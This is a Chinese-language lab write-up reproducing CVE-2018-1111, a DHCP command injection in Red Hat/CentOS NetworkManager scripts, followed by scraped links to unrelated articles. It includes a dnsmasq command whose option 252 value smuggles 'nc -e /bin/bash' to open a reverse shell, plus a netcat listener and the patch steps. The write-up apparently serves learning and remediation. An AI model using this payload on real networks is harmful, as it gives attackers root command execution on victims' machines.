CVE-2018-1111漏洞复现-环境搭建与dhcp命令注入
0×01 前言
2018年5月,在Red Hat Enterprise Linux多个版本的DHCP客户端软件包所包含的NetworkManager集成脚本中发现了命令注入漏洞(CVE-2018-1111),该漏洞目前已经进行了修补。攻击者可以通过本地网络上的恶意DHCP服务器或使用恶意的虚假DHCP响应来利用此漏洞进行攻击,一旦攻击成功,则可以在配置了DHCP的NetworkManager的系统上以root权限执行任意命令。
0×02 漏洞影响面
影响版本
- Red Hat Enterprise Linux Server 6
- Red Hat Enterprise Linux Server 7
- CentOS 6
- CentOS 7
0×03 环境搭建
攻击机:kali linux ip:192.168.1.14
受害机:centos7 ip:192.168.1.15
一、配置虚拟网络
打开VM虚拟机-菜单栏-编辑-虚拟网络编辑器,设置仅主机模式(关掉dhcp,设置ip)。
将 攻击机 和 受害机 网络配置成仅主机模式:


二、搭建dhcp服务
先在kali下设置一下网络
配置ip
ifconfig eth0 192.168.1.11 netmask 255.255.255.0
配置网管
route add default gw 192.168.1.11

在当前目录新建一个dnsmasq.conf文件,填入以下内容进行配置:
bind-interfaces interface=eth0 except-interface=lo dhcp-range=192.168.1.20,192.168.1.30,12h dhcp-option=,192.168.1.11 dhcp-option=,192.168.1.11 log-queries log-facility=/var/log/dnsmasq.log
参数解释
dhcp-range: 表示要分配给客户机的 ip 地址范围和租约时间 dhcp-option: 表示指定给 DHCP 客户端的选项信息 log-facility: 表示日志记录器
其中配置文件中包括的 option 取值及含义如下:
: 设置网关地址选项 : 设置 DNS 服务器地址选项 : 为 DHCP 客户端提供了一个用于配置其代理设置的 URL,wpad-proxy-url
payload 中涉及到的 option 252 是私人使用保留部分的一部分, 为 dhcp 服务器使用 252,然后在他们的浏览器中写入与 dhcp 服务器交谈的能力,并要求代码 252 从该选项列出的 URL 中获取关于网络上代理设置的信息。
这里 dnsmasq.conf中的dhcp-range设置:
为客户端分配 192.168.1.20-192.168.1.30/ 这个 ip 地址范围,租约时间为 12h。
0×04 命令注入
利用dnsmasq伪造dns服务器,命令执行 payload 如下:
dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash 192.168.1.11 6666 #"

监听6666端口:
nc -lvp
重启CentOS的网络服务,然后shell就反弹回来了:


我们按一下centos的ip地址,在我们制定的ip段内(192.168.20-192.168.1.30)

0×05 修复方案
终端下执行
更新dhcp
yum -y update dhclient
查看更新日志
rpm -qa --changelog dhclient | grep CVE-
- Resolves: # - Fix CVE--: Do not parse backslash as escape character
CVE-2018-1111漏洞复现-环境搭建与dhcp命令注入的更多相关文章
- docker漏洞复现环境搭建
0x00 docker简介 把原来的笔记整理了一下,结合前几天的一个漏洞,整理一篇简单的操作文档,希望能帮助有缘人. docker是一个开源的应用容器引擎,开发者可以打包自己的应用到容器里面,然后迁移 ...
- KALI搭建Docker+Vulhub漏洞复现环境
在学习网络安全的过程中,少不了的就是做漏洞复现,而漏洞复现一般比较常用的方式就是使用docker-vulhub进行环境搭建,我近期也遇到了这个问题,但是网上的教程特别混乱,根本起不到帮助作用,即使有可 ...
- 漏洞复现环境集锦-Vulhub
0x01 Vulhub简介 Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译.运行一个完整的漏洞靶场镜像. 0x02 安装 # 安装pip curl -s ht ...
- 漏洞复现-2.x rce-Thinkphp远程命令执行
0x00实验环境 攻击机:win10 靶机:Ubuntu18 (docker搭建的vulhub靶场) 0x01影响版本 影响Thinkphp 2.x的版本 0x02实验目的 学 ...
- Flutter环境搭建以及快捷命令
Flutter环境搭建 配置环境变量 用户变量 FLUTTER_STORAGE_BASE_URL : https://storage.flutter-io.cn PUB_HOSTED_URL : ht ...
- 2018.8.19 mybatis 环境搭建---配置mysql 。(Windows环境下面)
安装mysql Install/Remove of the Service Denied!错误的解决办法 在windos 的cmd下安装mysql 在mysql的bin目录下面执行: mysqld - ...
- DoraBox漏洞测试环境搭建和测试过程
未完待续...
- Redis学习——环境搭建以及基础命令使用
0. 前言: 这篇文章旨在对redis环境的搭建以及对redis有个大概的认识. 一.redis搭建: 环境:ubuntu 14 软件包:redis-3.0.3.tar.gz 安装步骤: 1. 首先解 ...
- 【漏洞复现】PHPCMS wap模块 SQL注入(附EXP)
漏洞影响版本:v9.5.8.v9.6.0 Step1: 访问:http://www.xxx.com/index.php?m=wap&a=index&siteid=1, 获取返回的coo ...
随机推荐
- ZROJ#398. 【18提高7】随机游走(期望dp 树形dp)
题意 [题目链接]版权原因就不发了.. 给出一棵树,求出任意两点之间期望距离的最大值 Sol 比较清真的一道题吧.. 设\(f[x]\)表示从\(x\)走到\(x\)的父亲的期望步数 \(g[x]\) ...
- Ubuntu16.04安装Docker1.12+开发实例+hello world+web应用容器
本次主要是详细记录Docker1.12在Ubuntu16.04上的安装过程,创建Docker组(避免每次敲命令都需要sudo),Docker常用的基本命令的总结,在容器中运行Hello world,以 ...
- Android中的Service与进程间通信(IPC)详解
Service 什么是Service 在后台长期运行的没有界面的组件.其他组件可以启动Service让他在后台运行,或者绑定Service与它进行交互,甚至实现进程间通信(IPC).例如,可以让服务在 ...
- matlab练习程序(随机游走图像)
随机游走类似布朗运动,就是随机的向各个方向走吧. 虽然代码没什么技术含量,不过产生的图像实在太漂亮了,所以还是贴上来吧. 产生的图像: matlab代码如下: clear all;close all; ...
- 每天一个linux命令-uname,输出操作系统信息(内核版本、硬件架构32位/64位等)
uname命令:主要用于输出一组操作系统的信息. 这个命令比较简单也比较有意思.为什么这么说呢?输入--help后看看效果,一目了然,简单吧: 首先输出完整信息: 我们再依次来输出一下: 最后,我 ...
- Siebel escript学习笔记
Siebel(escript)的学习:1.Siebel的数据类型Primitive(原始的)---Number,Integer,Hexadecimal(十六进制),Octal(八进制),Floatin ...
- 【Leetcode】【Easy】Palindrome Number
Determine whether an integer is a palindrome. Do this without extra space. 判断一个整数是不是回文整数(例12321).不能使 ...
- PHP腾讯与百度坐标转换
function coordinate_switch($a,$b){//百度转腾讯坐标转换 $a = Latitude , $b = Longitude $x = (double)$b - 0.006 ...
- BZOJ1951:[SDOI2010]古代猪文(Lucas,CRT)
Description “在那山的那边海的那边有一群小肥猪.他们活泼又聪明,他们调皮又灵敏.他们自由自在生活在那绿色的大草坪,他们善良勇敢相互都关心……” ——选自猪王国民歌 很久很久以前,在山的那边 ...
- bzoj 2179 FFT
求两个高精度的乘法. 根据高位低位,填入多项式的系数,求两个卷积,然后进位操作.